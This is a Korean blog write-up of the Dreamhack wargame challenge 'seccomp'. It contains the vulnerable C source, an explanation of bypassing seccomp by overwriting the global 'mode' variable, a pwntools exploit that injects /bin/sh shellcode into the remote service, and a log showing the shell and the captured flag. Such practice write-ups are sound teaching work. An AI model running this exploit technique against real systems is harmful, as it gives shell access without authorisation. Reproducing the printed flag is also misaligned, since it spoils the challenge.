Description

    이 문제는 서버에서 작동하고 있는 서비스(seccomp)의 바이너리와 소스 코드가 주어집니다.
    프로그램의 취약점을 찾고 익스플로잇해 셸을 획득한 후, “flag” 파일을 읽으세요.
    “flag” 파일의 내용을 워게임 사이트에 인증하면 점수를 획득할 수 있습니다.
    플래그의 형식은 DH{…} 입니다.

    Environment

    Ubuntu 16.04
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

    로컬 테스트 환경:
    Ubuntu 16.04.7 LTS x86_64
    Linux ubuntu 4.15.0-142-generic #146~16.04.1-Ubuntu SMP Tue Apr 13 09:27:15 UTC 2021 x86_64 x86_64 x86_64 GNU/Linux

    checksec

    seo@ubuntu:~/Desktop/seccomp$ checksec ./seccomp
    [!] Could not populate PLT: future feature annotations is not defined (unicorn.py, line 2)
    [*] '/home/seo/Desktop/seccomp/seccomp'
        Arch:     amd64-64-little
        RELRO:    Partial RELRO
        Stack:    Canary found
        NX:       NX enabled
        PIE:      No PIE (0x400000)

    Source Code

    seccomp.c

    // gcc -o seccomp seccomp.cq
    #include <stdio.h>
    #include <stdlib.h>
    #include <fcntl.h>
    #include <unistd.h>
    #include <signal.h>
    #include <stddef.h>
    #include <sys/prctl.h>
    #include <linux/seccomp.h>
    #include <linux/filter.h>
    #include <linux/unistd.h>
    #include <linux/audit.h>
    #include <sys/mman.h>
    
    int mode = SECCOMP_MODE_STRICT;
    
    void alarm_handler() {
        puts("TIME OUT");
        exit(-1);
    }
    
    void initialize() {
        setvbuf(stdin, NULL, _IONBF, 0);
        setvbuf(stdout, NULL, _IONBF, 0);
        signal(SIGALRM, alarm_handler);
        alarm(60);
    }
    
    int syscall_filter() {
        #define syscall_nr (offsetof(struct seccomp_data, nr))
        #define arch_nr (offsetof(struct seccomp_data, arch))
    
        /* architecture x86_64 */
        #define REG_SYSCALL REG_RAX
        #define ARCH_NR AUDIT_ARCH_X86_64
        struct sock_filter filter[] = {
            /* Validate architecture. */
            BPF_STMT(BPF_LD+BPF_W+BPF_ABS, arch_nr),
            BPF_JUMP(BPF_JMP+BPF_JEQ+BPF_K, ARCH_NR, 1, 0),
            BPF_STMT(BPF_RET+BPF_K, SECCOMP_RET_KILL),
            /* Get system call number. */
            BPF_STMT(BPF_LD+BPF_W+BPF_ABS, syscall_nr),
            };
    
        struct sock_fprog prog = {
        .len = (unsigned short)(sizeof(filter)/sizeof(filter[0])),
        .filter = filter,
            };
        if ( prctl(PR_SET_NO_NEW_PRIVS, 1, 0, 0, 0) == -1 ) {
            perror("prctl(PR_SET_NO_NEW_PRIVS)\n");
            return -1;
            }
    
        if ( prctl(PR_SET_SECCOMP, mode, &prog) == -1 ) {
            perror("Seccomp filter error\n");
            return -1;
            }
        return 0;
    }
    
    
    int main(int argc, char* argv[])
    {
        void (*sc)();
        unsigned char *shellcode;
        int cnt = 0;
        int idx;
        long addr;
        long value;
    
        initialize();
    
        shellcode = mmap(NULL, 0x1000, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
    
        while(1) {
            printf("1. Read shellcode\n");
            printf("2. Execute shellcode\n");
            printf("3. Write address\n");
            printf("> ");
    
            scanf("%d", &idx);
    
            switch(idx) {
                case 1:
                    if(cnt != 0) {
                        exit(0);
                    }
    
                    syscall_filter();
                    printf("shellcode: ");
                    read(0, shellcode, 1024);
                    cnt++;
                    break;
                case 2:
                    sc = (void *)shellcode;
                    sc();
                    break;
                case 3:
                    printf("addr: ");
                    scanf("%ld", &addr);
                    printf("value: ");
                    scanf("%ld", addr);
                    break;
                default:
                    break;
            }
        }
        return 0;
    }

    Solution

    seccomp?
    리눅스에서 sandbox 기반으로 시스템콜을 허용 및 차단하여 공격의 가능성을 막는 리눅스 보안 메커니즘

    바이너리에서 1번을 입력하면 syscall_filter() 함수를 호출되는데,
    STRICT_MODE를 통해 read(2), write(2), _exit(2), sigreturn(2) (but not exit_group(2))로 시스템콜을 제한하고 있다.

    만약에 해당 시스템 콜 이외의 호출이 들어오면 SIGKILL 시그널을 발생시키며 프로그램이 종료된다.

    이러한 제한은 prctl(PR_SET_SECCOMP, mode, &prog) 코드에서 수행되고있다.

    우리는 3번 옵션을 통해 원하는 주소에 값을 쓸 수 있기 때문에,
    addr을 mode 전역변수의 주소, value를 1이 아닌 유효하지 않은 값으로 쓰게 된다면,
    쉽게 우회할 수 있다.

    solve.py

    from pwn import *
    #context.log_level = 'debug'
    context(arch='amd64', os='linux')
    warnings.filterwarnings('ignore')
    
    #p = process("./seccomp")
    p = remote("host3.dreamhack.games", "9107")
    e = ELF('./seccomp', checksec=False)
    
    asmcode = shellcraft.execve("/bin/sh", 0, 0)
    shellcode = asm(asmcode)
    
    mode = e.symbols['mode']
    print(f"mode: {hex(mode)}")
    
    p.sendlineafter("> ", "3")
    p.sendlineafter("addr: ", str(mode))
    p.sendlineafter("value: ", "-1")
    
    
    p.sendlineafter("> ", b"1")
    p.sendlineafter("shellcode: ", shellcode)
    
    p.sendlineafter("> ", b"2")
    
    p.interactive()

    Result

    seo@seo:~/Desktop/seccomp$ python3 solve.py
    [+] Opening connection to host3.dreamhack.games on port 9107: Done
    mode: 0x602090
    [*] Switching to interactive mode
    $ ls
    flag
    seccomp
    $ cat flag
    DH{22b3695a64092efd8845efe7eda784a4}$
    [*] Interrupted
    [*] Closed connection to host3.dreamhack.games port 9107

    답글 남기기

    이메일 주소는 공개되지 않습니다. 필수 필드는 *로 표시됩니다